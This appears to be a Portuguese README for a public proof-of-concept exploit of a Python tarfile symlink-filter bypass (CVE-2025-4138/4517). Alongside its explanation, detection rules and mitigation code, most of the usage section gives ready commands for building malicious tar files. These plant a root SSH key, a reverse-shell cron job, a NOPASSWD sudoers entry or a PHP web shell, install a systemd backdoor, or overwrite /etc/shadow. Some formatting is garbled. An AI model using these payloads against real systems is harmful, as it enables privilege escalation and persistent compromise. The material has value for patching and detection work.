
CVE-2025-4138 / CVE-2025-4517 — Bypass do filtro de symlink PATH_MAX no tarfile do Python
Escrita arbitrária de arquivos através da extração com filter="data" / filter="tar"
Uma vulnerabilidade crítica no módulo tarfile do Python permite que um atacante contorne os filtros de extração ("data" e "tar") e escreva arquivos arbitrários fora do diretório de extração pretendido. Quando um processo privilegiado (por exemplo, um script de backup em nível de root, pipeline de CI/CD ou instalador de pacotes) extrai um arquivo tar controlado pelo atacante usando o parâmetro supostamente seguro filter="data", este exploit alcança escrita arbitrária completa de arquivos como esse usuário privilegiado — normalmente escalando para root.
A causa raiz é uma peculiaridade comportamental em os.path.realpath(): ela silenciosamente interrompe a resolução de symlinks quando o caminho totalmente expandido excede PATH_MAX (4096 bytes no Linux, 1024 no macOS). O filtro do tarfile depende de realpath() para verificações de segurança, mas o kernel resolve symlinks de forma independente durante a extração — criando uma janela TOCTOU (Time-of-Check-to-Time-of-Use) que possibilita a fuga do diretório.
┌───────────────────────────────────────────┐
│ Malicious Tar Structure │
└───────────────────────────────────────────┘
Stage 1 ── Build symlink chain that inflates the resolved path past PATH_MAX
ddd...ddd/ (directory, 247 chars)
a → ddd...ddd (symlink, 1 char name → 247 char dir)
ddd...ddd/ddd...ddd/ (nested directory)
b → ddd...ddd (symlink)
... ×16 levels
Short path (symlinks): a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p ~31 chars
Resolved path (dirs): ddd…/ddd…/ddd…/ddd…/ddd…/ddd…/… ~3968 chars
↑ nearing PATH_MAX
Stage 2 ── Final symlink exceeds PATH_MAX → realpath() stops resolving
a/b/c/…/p/lll…lll → ../../../../../../../../../../../../../../../../..
(16 levels of ".." — traverses back to extraction root)
┌─────────────────────────────────────────────────────────────────┐
│ os.path.realpath() CANNOT expand this → filter says "OK" ✓ │
│ Linux kernel DOES follow chain → actually escapes ✗ │
└─────────────────────────────────────────────────────────────────┘
Stage 3 ── Escape symlink resolves to arbitrary filesystem path
escape → <overflow_link>/../../../../../../../root
Stage 4 ── Create intermediate directories through the escape
escape/.ssh/ (directory, mode 0700 — created by tar extraction)
Stage 5 ── Write payload through the escaped symlink
escape/.ssh/authorized_keys → writes to /root/.ssh/authorized_keys 🔓
---
## Versões Afetadas
| Versão do Python | Intervalo Vulnerável | Versão Corrigida | Status |
|:--|:--|:--|:--|
| 3.13 | 3.13.0 – 3.13.3 | **3.13.4** | ✅ Corrigido |
| 3.12 | 3.12.0 – 3.12.10 | **3.12.11** | ✅ Corrigido |
| 3.11 | 3.11.4 – 3.11.12 | **3.11.13** | ✅ Corrigido |
| 3.10 | 3.10.12 – 3.10.17 | **3.10.18** | ✅ Corrigido |
| 3.9 | 3.9.17 – 3.9.22 | **3.9.23** | ✅ Corrigido |
| 3.8 | 3.8.17 – 3.8.20 | — | ❌ Fim de Vida |
| 3.14+ | Filtro padrão alterado para `"data"` | Verifique a mais recente | ⚠️ Maior exposição |
> **Nota:** O Python 3.14+ alterou o parâmetro padrão `filter` de nenhuma filtragem para `"data"`, o que significa que aplicações que anteriormente não possuíam filtro (e, portanto, já eram inseguras) agora usam o filtro vulnerável por padrão.
---
## Padrão de Código Afetado
Qualquer aplicação que faça isso em uma versão vulnerável do Python é explorável:```python
import tarfile
# VULNERABLE — filter="data" can be bypassed
with tarfile.open("untrusted_archive.tar", "r") as tar:
tar.extractall(path="/some/directory", filter="data")
# ALSO VULNERABLE — filter="tar" has the same flaw
with tarfile.open("untrusted_archive.tar", "r") as tar:
tar.extractall(path="/some/directory", filter="tar")
Common real-world occurrences:
.targit clone https://github.com/DesertDemons/CVE-2025-4138-4517-POC.git cd CVE-2025-4138-4517-POC
python3 exploit.py --help
**Requisitos:** Python 3.6+ (para criação do arquivo — o **alvo** deve executar uma versão vulnerável)
---
## Uso
### Início Rápido — Injeção de Chave SSH```bash
# 1. Generate an SSH key pair (REQUIRED — must exist before creating tar)
ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -N ""
cat ~/.ssh/id_ed25519.pub # verify key was created
# 2. Create the malicious tar archive
python3 exploit.py \
--preset ssh-key \
--payload ~/.ssh/id_ed25519.pub \
--tar-out ./evil.tar
# 3. Deliver the tar and trigger privileged extraction
# (method varies — backup script, upload endpoint, CI pipeline, etc.)
# Example: sudo python3 vulnerable_app.py --extract evil.tar
# 4. SSH in as root (use the SAME key you generated in step 1)
ssh -i ~/.ssh/id_ed25519 root@target
Importante: O exploit cria automaticamente diretórios intermediários (ex.:
/root/.ssh/) dentro do arquivo tar. Se o diretório de destino não existir no sistema de arquivos,extractall()o criará durante a extração.
python3 exploit.py --preset cron --extra 10.0.0.5 --tar-out evil.tar
python3 exploit.py --preset sudoers --extra john --tar-out evil.tar
python3 exploit.py --preset ssh-key --payload ~/.ssh/id_rsa.pub
--mode 0600 --tar-out evil.tar
### Alvo Personalizado
Escreva qualquer conteúdo em qualquer caminho absoluto no sistema de arquivos do alvo:```bash
# Overwrite MOTD
python3 exploit.py \
--target /etc/motd \
--payload "Authorized access only." \
--mode 0644 \
--tar-out evil.tar
# Plant a web shell
python3 exploit.py \
--target /var/www/html/shell.php \
--payload '<?php system($_GET["cmd"]); ?>' \
--mode 0644 \
--tar-out evil.tar
# Overwrite a systemd service for persistence
python3 exploit.py \
--target /etc/systemd/system/backdoor.service \
--payload backdoor.service \
--mode 0644 \
--tar-out evil.tar
Teste se um sistema é vulnerável sem tocar em arquivos sensíveis:```bash
mkdir -p /tmp/cve_test/flag /tmp/cve_test/extract echo "original_content" > /tmp/cve_test/flag/testfile
python3 exploit.py
--target /tmp/cve_test/flag/testfile
--payload "OVERWRITTEN_BY_CVE-2025-4138"
--tar-out /tmp/cve_test/poc.tar
python3 -c " import tarfile tarfile.open('/tmp/cve_test/poc.tar', 'r').extractall( '/tmp/cve_test/extract', filter='data' ) "
cat /tmp/cve_test/flag/testfile
rm -rf /tmp/cve_test
### Verificação Rápida de Versão```bash
python3 -c "
import sys
v = sys.version_info
vuln = (
(v.minor == 12 and v.micro <= 10) or
(v.minor == 13 and v.micro <= 3) or
(v.minor == 11 and 4 <= v.micro <= 12) or
(v.minor == 10 and 12 <= v.micro <= 17) or
(v.minor == 9 and 17 <= v.micro <= 22)
)
status = '❌ VULNERABLE' if vuln else '✅ Patched/Not affected'
print(f'Python {sys.version} — {status}')
"
os.path.realpath()No Linux, PATH_MAX é definido como 4096 bytes. No macOS, é 1024 bytes. Quando os.path.realpath() resolve um caminho componente por componente e o caminho resolvido acumulado excede esse limite, ele para silenciosamente de resolver os componentes restantes e os anexa como strings literais.```
os.path.realpath() behavior:
Input: /extract/a/b/c/.../p/llll.../../../../../root/.ssh │ ├── resolved portion: /extract/ddd.../ddd.../... (3968+ bytes) └── unresolved tail: /../../../../root/.ssh ↑ appended literally!
Output: /extract/ddd.../ddd.../ddd.../../../../../root/.ssh │ │ └── Starts with /extract/ → filter says "OK" ✓ │ └── But the ../ is real!
This is a **documented** behavior of `realpath()`, but the tarfile filter implementation did not account for it.
### Construção da Cadeia de Symlinks
Cada nível da cadeia consiste em:
| Entrada | Tipo | Comprimento do Nome | Finalidade |
|:--|:--|:--|:--|
| Diretório | `DIRTYPE` | 247 caracteres (Linux) / 55 caracteres (macOS) | O nome longo aumenta o caminho resolvido |
| Symlink | `SYMTYPE` | 1 caractere (`a`, `b`, …, `p`) | Alias curto para o diretório longo |
Após 16 níveis:
| Métrica | Valor |
|:--|:--|
| **Caminho curto** (via symlinks) | `a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p` ≈ 31 caracteres |
| **Caminho resolvido** (via diretórios) | `ddd…/ddd…/ddd…/…` ≈ **3968 caracteres** |
| **PATH_MAX** | 4096 bytes |
| **Orçamento restante** | ~128 bytes — não é suficiente para o payload de travessia |
### Mecanismo de Bypass do Filtro
O `data_filter` no módulo tarfile do Python executa esta verificação:```python
# Simplified from Lib/tarfile.py
def _check_linkname(member, dest_path):
target = os.path.realpath(os.path.join(dest_path, member.linkname))
if not target.startswith(dest_path):
raise FilterError("link would escape destination")
A vulnerabilidade:
realpath() recebe: /extract/a/b/c/.../p/lll.../../../../../root/.sshrealpath() resolve a porção a/b/c/.../p através da cadeia de symlinks → 3968+ bytes../../../../root/.ssh é anexado literalmente/extract/ddd…(3968 chars)…/../../../../root/.ssh/extract/ → passa ✓../ normalmente → escapa para /rootescape/.ssh é extraído como um diretório → cria /root/.ssh/ (modo 0700)┌────────────────────────────────────────────────────────────────────────┐ │ EXPLOIT PIPELINE │ ├────────────────────────────────────────────────────────────────────────┤ │ │ │ Stage 1: PATH_MAX Inflation │ │ ┌─────────┐ ┌─────────┐ ┌─────────┐ │ │ │ dir(247) │──▶│ sym a→d │──▶ ... │ sym p→d │ ×16 levels │ │ └─────────┘ └─────────┘ └─────────┘ │ │ Resolved path accumulates to ~3968 bytes │ │ │ │ Stage 2: Pivot Symlink (exceeds PATH_MAX) │ │ ┌──────────────────────────────────────────┐ │ │ │ a/b/c/.../p/lll...lll → ../../... (×16) │ │ │ └──────────────────────────────────────────┘ │ │ realpath() cannot resolve → filter is blind │ │ │ │ Stage 3: Escape Symlink │ │ ┌──────────────────────────────────────────┐ │ │ │ escape → /../../../../<target_root>│ │ │ └──────────────────────────────────────────┘ │ │ Points to the target's top-level parent (e.g. /root) │ │ │ │ Stage 4: Create Intermediate Directories │ │ ┌──────────────────────────────────────────┐ │ │ │ escape/.ssh (DIRTYPE, mode 0700) │ │ │ └──────────────────────────────────────────┘ │ │ Ensures parent dirs exist (e.g. /root/.ssh) — critical │ │ for targets where the parent directory may not exist │ │ │ │ Stage 5: Payload Write │ │ ┌──────────────────────────────────────────┐ │ │ │ escape/.ssh/authorized_keys = payload │ │ │ └──────────────────────────────────────────┘ │ │ File is written through the escaped symlink as the │ │ process owner (typically root) │ │ │ └────────────────────────────────────────────────────────────────────────┘
---
## Cenários de Ataque do Mundo Real
### 1. Restauração de Backup com Privilégios
Um script de backup executado como root extrai arquivos tar fornecidos pelo usuário:```python
# /usr/local/bin/restore_backup.py (runs via sudo)
tar.extractall(path="/var/backups/restored", filter="data")
Impacto: Um atacante fornece um backup malicioso → grava uma chave SSH em /root/.ssh/authorized_keys → obtém um shell root.
Um sistema de build extrai artefatos de fontes não confiáveis:```python
tar.extractall(path=workspace_dir, filter="data")
**Impacto:** Artefato malicioso escapa do workspace → sobrescreve a configuração de CI → alcança execução de código na infraestrutura de build.
### 3. Processamento de Upload de Aplicação Web
Uma aplicação web aceita e extrai uploads tar:```python
# Flask/Django file processing endpoint
tar.extractall(path=upload_dir, filter="data")
Impacto: Atacante remoto envia um tar especialmente criado → grava um web shell na raiz do documento → obtém RCE.
Gerenciadores de pacotes Python extraindo distribuições de código-fonte:```python
tar.extractall(path=build_dir, filter="data")
**Impacto:** Pacote PyPI malicioso escapa do diretório de build → modifica arquivos do sistema.
---
## Detecção
### Indicadores de Comprometimento
Monitore esses padrões que podem indicar exploração:```bash
# Check for deeply nested symlink chains in extracted directories
find /path/to/extractions -maxdepth 20 -type l | \
xargs -I{} readlink {} | grep -c "^d\{200,\}"
# Audit tar extraction operations in application logs
grep -r "extractall\|filter=\"data\"\|filter=\"tar\"" /var/log/
# Monitor for unexpected file writes in sensitive directories
auditctl -w /root/.ssh/ -p wa -k tarfile_escape
auditctl -w /etc/cron.d/ -p wa -k tarfile_escape
auditctl -w /etc/sudoers.d/ -p wa -k tarfile_escape
rule CVE_2025_4138_Malicious_Tar { meta: description = "Detects tar archives crafted for CVE-2025-4138 PATH_MAX bypass" cve = "CVE-2025-4138" severity = "critical" strings: $long_dir = /d{240,250}// ascii $chain = /[a-p]/[a-p]/[a-p]/[a-p]/ ascii $pad = /l{250,}/ ascii $traversal = "../../../" ascii condition: uint16(0) == 0x0000 and $long_dir and $chain and ($pad or #traversal > 8) }
---
## Mitigação
### 1. Atualize o Python (Recomendado)```bash
# Check current version
python3 -c "import sys; print(sys.version)"
# Upgrade to patched version:
# 3.9.23+ | 3.10.18+ | 3.11.13+ | 3.12.11+ | 3.13.4+
Se a atualização imediata não for possível:```python import pathlib import tarfile
def safe_extract(tar_path: str, dest: str) -> None: """Extract tar archive with CVE-2025-4138 mitigation.""" with tarfile.open(tar_path, "r") as tar: for member in tar.getmembers(): # Block symlinks with traversal in link targets if member.linkname: parts = pathlib.PurePosixPath(member.linkname).parts if ".." in parts: raise ValueError( f"Blocked: '{member.name}' has traversal " f"in linkname: '{member.linkname}'" ) # Block absolute symlink targets if member.issym() and member.linkname.startswith("/"): raise ValueError( f"Blocked: '{member.name}' has absolute " f"symlink target: '{member.linkname}'" ) # Re-open to reset iterator tar.extractall(path=dest, filter="data")
### 3. Extração em Sandbox```bash
# Extract in a minimal container or namespace
unshare --mount --map-root-user -- sh -c '
mount -t tmpfs tmpfs /mnt
python3 -c "
import tarfile
tarfile.open(\"archive.tar\", \"r\").extractall(\"/mnt/extract\", filter=\"data\")
"
'
tar --no-same-permissions --no-same-owner -xf archive.tar -C /dest/
---
## CVEs Relacionados
| CVE | Descrição | Gravidade |
|:--|:--|:--|
| **CVE-2025-4138** | Bypass do filtro de alvo de symlink via estouro de PATH_MAX | Crítica |
| **CVE-2025-4517** | Escrita arbitrária de arquivos via estouro de realpath (mesma causa raiz) | Crítica |
| **CVE-2025-4330** | Traversal de caminho via symlink contornando filtros de extração | Alta |
| **CVE-2024-12718** | Modificação de metadados de arquivos fora do diretório de extração | Alta |
| **CVE-2025-4435** | Arquivos filtrados ainda extraídos quando `errorlevel=0` | Média |
| **CVE-2007-4559** | Traversal de caminho original do tarfile (era sem filtro) | Alta |
Todos foram corrigidos em [CPython Issue #135034](https://github.com/python/cpython/issues/135034) e [PR #135037](https://github.com/python/cpython/pull/135037).
---
## Linha do Tempo
| Data | Evento |
|:--|:--|
| 2025-04-30 | Vulnerabilidade reportada à Equipe de Resposta de Segurança do Python |
| 2025-06-02 | Issue pública aberta — [CPython #135034](https://github.com/python/cpython/issues/135034) |
| 2025-06-03 | Correção mesclada — [CPython PR #135037](https://github.com/python/cpython/pull/135037) |
| 2025-06-03 | [Anúncio de Segurança da PSF](https://mail.python.org/archives/list/[email protected]/thread/MAXIJJCUUMCL7ATZNDVEGGHUMQMUUKLG/) publicado |
| 2025-06-03 | Versões corrigidas: Python 3.9.23, 3.10.18, 3.11.13, 3.12.11, 3.13.4 |
| 2025-06-04 | Aviso CERT-FR [CERTFR-2025-AVI-0475](https://www.cert.ssi.gouv.fr/) |
| 2025-06-20 | Aviso do Google Security Research [GHSA-hgqp-3mmf-7h8f](https://github.com/google/security-research/security/advisories/GHSA-hgqp-3mmf-7h8f) |
| 2025-07-20 | Divulgação completa |
---
## Referências
- [GHSA-hgqp-3mmf-7h8f](https://github.com/google/security-research/security/advisories/GHSA-hgqp-3mmf-7h8f) — Aviso do Google Security Research e PoC Original
- [CPython Issue #135034](https://github.com/python/cpython/issues/135034) — Relatório de Bug Upstream
- [CPython PR #135037](https://github.com/python/cpython/pull/135037) — Commit da Correção
- [Anúncio de Segurança da PSF](https://mail.python.org/archives/list/[email protected]/thread/MAXIJJCUUMCL7ATZNDVEGGHUMQMUUKLG/) — Aviso Oficial
- [Gist de Mitigação de Seth Larson](https://gist.github.com/sethmlarson/52398e33eff261329a0180ac1d54f42f) — Script Rápido de Mitigação
- [NVD — CVE-2025-4138](https://nvd.nist.gov/vuln/detail/CVE-2025-4138)
- [NVD — CVE-2025-4517](https://nvd.nist.gov/vuln/detail/CVE-2025-4517)
- [Documentação dos Filtros de Extração do `tarfile` do Python](https://docs.python.org/3/library/tarfile.html#tarfile-extraction-filter)
- [Página de Manual do Linux `realpath(3)`](https://man7.org/linux/man-pages/man3/realpath.3.html) — comportamento do PATH_MAX
---
## Créditos
- **Descoberta da Vulnerabilidade:** [Caleb Brown](https://github.com/calebbrown) — Google Security Research
- **Autores do Patch:** Łukasz Langa, Petr Viktorin, Seth Michael Larson, Serhiy Storchaka
- **Este PoC:** [DesertDemon](https://github.com/DesertDemons)
---
## Aviso Legal
> **⚠️ Esta ferramenta é fornecida estritamente para testes de segurança autorizados, pesquisa e fins educacionais.**
>
> O acesso não autorizado a sistemas de computador é ilegal sob o Computer Fraud and Abuse Act (CFAA), o Computer Misuse Act e legislação equivalente em todo o mundo. Sempre obtenha autorização explícita por escrito antes de testar qualquer sistema que você não possua.
>
> O autor não assume nenhuma responsabilidade pelo uso indevido deste software. Ao usar esta ferramenta, você concorda que é o único responsável por suas ações e que cumprirá todas as leis aplicáveis.
---
**Etiquetas:** `cve-2025-4138` `cve-2025-4517` `python` `tarfile` `path-traversal` `symlink` `privilege-escalation` `arbitrary-file-write` `toctou` `cwe-22` `linux` `macos`
## Licença
Este projeto é licenciado sob a [Licença MIT](https://github.com/desertdemons/cve-2025-4138-4517-poc/blob/main/LICENSE).
---
<p align="center">
<sub>
🔐 Se você achar isto útil, considere dar uma estrela no repositório<br>
📫 Para consultas de divulgação responsável, abra uma issue ou entre em contato via GitHub
</sub>
</p>
| Campo | Valor |
|---|
| IDs CVE | CVE-2025-4138, CVE-2025-4517 |
| CVSS v3.1 | 9.4 (Crítico) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L |
| CWE | CWE-22 — Limitação Imprópria de um Nome de Caminho a um Diretório Restrito |
| Tipo de Vulnerabilidade | Path Traversal via Symlink / Bypass de Filtro |
| Impacto | Escrita arbitrária de arquivos → escalonamento de privilégios, escape de sandbox, adulteração de dados |
| Vetor de Ataque | Entregar um arquivo tar malicioso a qualquer aplicação que use tarfile.extractall() com filtros |
| Afetado | Python 3.12.0 – 3.12.10, 3.13.0 – 3.13.3 |
| Corrigido Em | Python 3.9.23, 3.10.18, 3.11.13, 3.12.11, 3.13.4 |
| Correção | CPython PR #135037 |
| Aviso | GHSA-hgqp-3mmf-7h8f |
| Relator | Caleb Brown — Google Security Research |
| Predefinição | Arquivo Alvo | Descrição | Parâmetro --extra |
|---|
ssh-key | /root/.ssh/authorized_keys | Injetar chave pública SSH para login de root | — |
cron | /etc/cron.d/pwned | Instalar um cron job de reverse shell como root | Endereço IP do LHOST |
sudoers | /etc/sudoers.d/pwned | Adicionar regra sudo NOPASSWD para um usuário | Nome de usuário |
shadow | /etc/shadow | Sobrescrever o arquivo shadow (⚠️ destrutivo) | — |
passwd | /etc/passwd | Sobrescrever o arquivo passwd (⚠️ destrutivo) | — |
escape/.ssh/authorized_keys → escreve em /root/.ssh/authorized_keys